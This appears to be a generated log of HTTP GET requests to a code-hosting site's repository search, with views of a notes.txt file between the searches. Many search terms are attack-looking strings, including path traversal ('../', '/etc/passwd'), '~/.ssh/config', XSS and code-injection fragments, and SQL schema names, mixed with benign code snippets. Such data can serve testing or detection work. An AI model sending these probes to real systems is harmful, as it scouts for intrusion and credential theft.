{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
